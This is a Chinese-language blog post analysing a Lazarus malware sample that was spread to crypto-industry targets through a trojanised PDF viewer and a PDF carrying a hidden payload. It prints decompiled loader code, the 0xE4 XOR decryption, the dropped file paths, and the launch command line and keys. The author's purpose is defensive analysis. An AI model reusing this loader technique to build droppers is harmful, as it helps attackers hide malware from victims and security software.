lazurs社工中使用的病毒分析
概述
2021年9月份,Lazurs被捕獲到對加密貨幣行業進行社工攻擊。攻擊者通過即時聊天軟件和目標溝通,并發送一個開源PDF查看軟件Secure PDF Viewer.exe和一個PDF查看文件Android Hardware Wallet.pdf。單獨的Secure PDF Viewer.exe無惡意行為,Android Hardware Wallet.pdf打開時,會顯示

從而誘導用戶使用Secure PDF Viewer.exe打開。當使用Secure PDF Viewer.exe打開Android Hardware Wallet.pdf時,會解密并加載其中的payload,釋放惡意文件,執行惡意行為。
分析過程
Secure PDF Viewer.exe
通過GetOpenFileNameW交叉引用找到打開文件部分分析。
if ( GetOpenFileNameW(&v82) )
{
v57 = &v82.lpstrFile[v82.nFileOffset];
v124 = 0;
memset(v125, 0, sizeof(v125));
Buffer = 0;
memset(v127, 0, sizeof(v127));
if ( (unsigned int)sub_140015EE0(v57) == 2 )
{
GetTempPathW(0x104u, &Buffer);
wsprintfW(&v124, L"%s\\%s", &Buffer, v57);
}
else
{
v58 = v82.lpstrFile;
v59 = (char *)&v124 - (char *)v82.lpstrFile;
do
{
v60 = *v58++;
*(LPWSTR)((char *)v58 + v59 - 2) = v60;
}
while ( v60 );
}
//...
查看sub_140015EE0
if ( *(_DWORD *)&fileContent[fileLen - 4] != 0x78563412 )
return 0i64;
v9 = Str;
v10 = &fileContent[fileLen - 524];
v11 = 4i64;
do
{
v12 = *(_OWORD *)v10;
v9 += 64;
v10 += 128;
*((_OWORD *)v9 - 8) = v12;
*((_OWORD *)v9 - 7) = *((_OWORD *)v10 - 7);
*((_OWORD *)v9 - 6) = *((_OWORD *)v10 - 6);
*((_OWORD *)v9 - 5) = *((_OWORD *)v10 - 5);
*((_OWORD *)v9 - 4) = *((_OWORD *)v10 - 4);
*((_OWORD *)v9 - 3) = *((_OWORD *)v10 - 3);
*((_OWORD *)v9 - 2) = *((_OWORD *)v10 - 2);
*((_OWORD *)v9 - 1) = *((_OWORD *)v10 - 1);
--v11;
}
while(v11);
v13 = _mm_load_si128((const __m128i *)&xmmword_140541B50);
*(_QWORD *)v9 = *(_QWORD *)v10;
判斷文件是否以0x78563412結尾,惡意PDF恰好是這個特征
然后賦值。另外可執行文件和PDF文件需要在同一文件夾才會執行。
然后復制520個字節到緩沖區,執行以下解密動作
v14 = 0;
v15 = 0i64;
do
{
v14 += 16;
*(__m128i *)((char *)Str + v15) = _mm_xor_si128(_mm_loadu_si128((const __m128i *)((char *)Str + v15)), v13);
v15 = v14;
}
while ( (unsigned __int64)v14 < 0x200 );
if ( (unsigned __int64)v14 < 0x208 )
{
v16 = (char *)Str + v14;
do
{
*v16 ^= 0xE4u;
++v14;
++v16;
}
while ( (unsigned __int64)v14 < 0x208 );
}
即每一個字節異或0xE4。解密結果為
CAST_decrypt|c39NEKJGxb6y7Bbt|0422
除此之外還有若干0
接下來的代碼提取了三個參數
v17 = wcschr(Str, '|');
if ( !v17 )
{
do
{
v18 = *(wchar_t *)((char *)Str + v1);
v1 += 2i64;
}
while ( v18 );
return 1i64;
}
wcsncpy(&arg1, Str, v17 - Str);
*(&arg1 + v17 - Str) = 0;
v19 = v17 + 1;
if ( !v19 )
return 1i64;
v20 = wcschr(v19, 0x7Cu);
v21 = v20;
if ( !v20 )
{
v22 = (char *)((char *)&arg2 - (char *)v19);
do
{
v23 = *v19++;
*(_WORD *)&v22[(_QWORD)v19 - 2] = v23;
}
while ( v23 );
return 1i64;
}
v24 = v20 - v19;
wcsncpy(&arg2, v19, v24);
*(&arg2 + v24) = 0;
v25 = (char *)(v21 + 1);
if ( v21 == (wchar_t *)-2i64 )
return 1i64;
v26 = wcschr(v21 + 1, 0x7Cu);
if ( v26 )
{
v29 = ((char *)v26 - v25) >> 1;
wcsncpy(&arg3, v21 + 1, v29);
*(&arg3 + v29) = 0;
}
else
{
v27 = (char *)((char *)&arg3 - v25);
do
{
v28 = *(_WORD *)v25;
v25 += 2;
*(_WORD *)&v27[(_QWORD)v25 - 2] = v28;
}
while ( v28 );
}
獲取另一部分payload大小并分配空間,將payload移動到臨時空間
v30 = *(unsigned int *)&fileContent[fileLen_1 - 528]; v31 = v30; v32 = (char *)LocalAlloc(0x40u, (unsigned int)v30); memset(v32, 0, (unsigned int)v30); v58 = &fileContent[fileLen_1 - v30]; memmove(v32, v58 - 528, (unsigned int)v30);
解密
if ( (_DWORD)v30 )
{
if ( (unsigned int)v30 >= 0x10 )
{
do
{
v34 = v33;
v33 += 16;
*(__m128i *)&v32[v34] = _mm_xor_si128(_mm_loadu_si128((const __m128i *)&v32[v34]), v13);
}
while ( v33 < (unsigned __int64)((unsigned int)v30 - (v30 & 0xF)) );
}
if ( v33 < (unsigned int)v30 )
{
v35 = &v32[v33];
v36 = (unsigned int)(v30 - v33);
do
{
*v35++ ^= 0xE4u;
--v36;
}
while ( v36 );
}
}
將文件寫入
GetTempPathW(0x104u, &Buffer); wsprintfW(&Buffer, L"%s\\%s", &Buffer, filename1); DeleteFileW(&Buffer); v37 = CreateFileW(&Buffer, 0x40000000u, 4u, 0i64, 2u, 0x80u, 0i64); WriteFile(v37, v32, v30, &NumberOfBytesWritten, 0i64); CloseHandle(v37);
根據文件頭得知,這里釋放了一個誘餌PDF。
計算文件長度并解密文件
elf_len = *((unsigned int *)v58 - 133);
v39 = LocalAlloc(0x40u, elf_len);
memset(v39, 0, (unsigned int)elf_len);
memmove(v39, &fileContent[fileLen_1 - elf_len - pdf_len - 532], (unsigned int)elf_len);
v40 = 0;
if ( (_DWORD)elf_len )
{
if ( (unsigned int)elf_len >= 0x10 )
{
do
{
v41 = v40;
v40 += 16;
*(__m128i *)((char *)v39 + v41) = _mm_xor_si128(_mm_loadu_si128((const __m128i *)((char *)v39 + v41)), v13);
}
while ( v40 < (unsigned int)elf_len - (elf_len & 0xF) );
}
if ( v40 < (unsigned int)elf_len )
{
v42 = &v39[v40 / 2u];
v43 = (unsigned int)(elf_len - v40);
do
{
*v42++ ^= 0xE4u;
--v43;
}
while ( v43 );
}
}
if ( *v39 == 'ZM' )
v44 = (_QWORD *)sub_14000C510(v54, v39, v39);
else
v44 = 0i64;
解密出來的文件頭為MZ,可執行文件
對sub_14000C510分析,發現是解析PE頭,得到NT_OPTIONAL_HEADER
結合下面這段代碼,知道是尋找arg1的參數
while ( stricmp(&arg1_1, (const char *)(v48 + *v50)) )
{
LODWORD(v1) = v1 + 1;
++v50;
++v51;
if ( (unsigned int)v1 >= v49[6] )
return 1i64;
}
分析釋放出來的dll,得到
while ( result );
if ( !v8 )
{
result = 0;
if ( strlen(a3) == 4 )
{
CreateDirectoryA("C:\\ProgramData\\WindowsUpdate", 0i64);
sprintf(&CommandLine, Format, FileName, v15, v17, a3);
sub_1800016D0(&CommandLine);
sub_180001180(v14, v49, v49);
sub_1800013E0(v14, &unk_18000F500, &unk_18000F500, 110080i64);
v9 = CreateFileA(FileName, 0x40000000u, 2u, 0i64, 2u, 0x80u, 0i64);
v10 = v9;
if ( v9 != (HANDLE)-1i64 && WriteFile(v9, &unk_18000F500, 0x1AE00u, &NumberOfBytesWritten, 0i64) )
CloseHandle(v10);
result = CreateProcessA(
0i64,
&CommandLine,
0i64,
0i64,
0,
0x8000000u,
0i64,
0i64,
&StartupInfo,
&ProcessInformation);
if ( result )
{
Sleep(0x64u);
result = DeleteFileA(a1);
}
}
}
return result;
這里創建了一個進程
繼續分析原EXE文件
將上面的參數轉為bytes形式
do ++v45; while ( *(&arg1 + v45) ); WideCharToMultiByte(0, 0x200u, &arg1, -1, &arg1_1, v45, 0i64, 0i64); v46 = -1i64; do ++v46; while ( *(&arg2 + v46) ); WideCharToMultiByte(0, 0x200u, &arg2, -1, &arg2_1, v46, 0i64, 0i64); v47 = -1i64; do ++v47; while ( *(&arg3 + v47) ); WideCharToMultiByte(0, 0x200u, &arg3, -1, &arg3_1, v47, 0i64, 0i64);
下面調用了一個dll,調用關系比較復雜,通過調試得到一個C:\ProgramData\WindowsUpdate\MSCache.cpl文件。
通過ProcessHacker拿到命令行
C:\\ProgramData\\WindowsUpdate\\MSCache.cpl,CAST_encrypt YV98lZjU0x4I55Ci 0422
第二階段分析
使用IDA打開,結合對原可執行文件中sub_14000C510的分析,得知調用了CAST_encryptW
WideCharToMultiByte(0, 0x200u, &WideCharStr, -1, &MultiByteStr, -(int)v12 - 2, 0i64, 0i64);
sub_1800038E0((unsigned __int8 *)Name);
if ( !strncmp(Name, &MultiByteStr, 0x10ui64) )// 驗證命令行參數
{
CreateMutexA(0i64, 0, Name);
if ( GetLastError() == 183 )
ExitProcess(0);
strcpy((char *)v24, "tav!}C.mLq?d8a^$hCn/_A6US/5%#<=j");
decrypt1((__int64)v18, v24, (int *)v24);
decrypt2((__int64)v18, (__int64)&unk_1800104E0, (__int64)&unk_1800104E0, 0xB410ui64);
v17[0] = 0x708A0;
v15 = LocalAlloc(0x40u, 0x708A0ui64);
sub_180001FE0((__int64)v15, v17);
((void (__fastcall *)(void *))sub_180001A30)(v15);
FreeLibraryAndExitThread(hLibModule, 0);
}
使用火絨劍分析,監聽到網絡通信。所以在網絡通信API下斷點,找到第三階段payload。

進行了http通信和獲取命令,目前相關目錄已被刪除,只剩windows服務器空殼。
總結
每次分析都可以學到好多東西,雖然總是出現卡殼的情況,但是經過搜索、各種嘗試終于解決了問題,還是蠻有成就感的。
這種攻擊方式非常巧妙,可以很容易地繞過安全軟件等,因為單獨的一個軟件、一個文檔都不是惡意的,單獨的一個payload也沒辦法解密。只有兩個文件在同一個電腦上,并且有人用軟件打開PDF文檔,攻擊才會進行。因此應該培養人的信息安全意識,不隨意打開未知文件和軟件